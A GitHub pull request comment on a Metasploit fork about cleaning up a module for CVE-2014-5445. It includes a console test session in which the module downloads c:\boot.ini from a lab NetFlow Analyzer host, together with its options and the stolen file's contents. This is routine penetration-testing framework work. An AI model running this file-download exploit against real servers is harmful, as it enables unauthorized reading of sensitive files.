pedrib/metasploit-framework — pull request #11 by jvazquez-r7 (2014-12-01 01:00:00+00:00)
Title: Clean CVE-2014-5445 module

Hello @pedrib, I'm doing minor cleanup for https://github.com/rapid7/metasploit-framework/pull/4282. Feel free to review and land once ready. I'll wait for you to add the OSVDB and FULLDISC url's and it will be ready to go!

Thanks!

Test after cleanup:

```
msf auxiliary(netflow_file_download) > reload
[*] Reloading module...
run
msf auxiliary(netflow_file_download) > run

[*] 172.16.158.138:8080 - Downloading file c:\boot.ini
[+] 172.16.158.138:8080 - File saved in: /Users/jvazquez/.msf4/loot/20141130185926_test_netflow_172.16.158.138_netflow.http_184735.ini
[*] Auxiliary module execution completed
msf auxiliary(netflow_file_download) > show options

Module options (auxiliary/admin/http/netflow_file_download):

Name Current Setting Required Description
---- --------------- -------- -----------
FILEPATH c:\boot.ini yes Path of the file to download (escape Windows paths with 2 back slashes)
Proxies no Use a proxy chain
RHOST 172.16.158.138 yes The target address
RPORT 8080 yes The target port
TARGETURI /netflow yes The base path to NetFlow Analyzer
VHOST no HTTP server virtual host

msf auxiliary(netflow_file_download) > cat /Users/jvazquez/.msf4/loot/20141130185926_test_netflow_172.16.158.138_netflow.http_184735.ini
[*] exec: cat /Users/jvazquez/.msf4/loot/20141130185926_test_netflow_172.16.158.138_netflow.http_184735.ini

[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect
msf auxiliary(netflow_file_download) > loot

Loot
====

host service type name content info path
---- ------- ---- ---- ------- ---- ----
172.16.158.138 netflow.http c:\boot.ini application/octet-stream /Users/jvazquez/.msf4/loot/20141130185926_test_netflow_172.16.158.138_netflow.http_184735.ini

msf auxiliary(netflow_file_download) >
```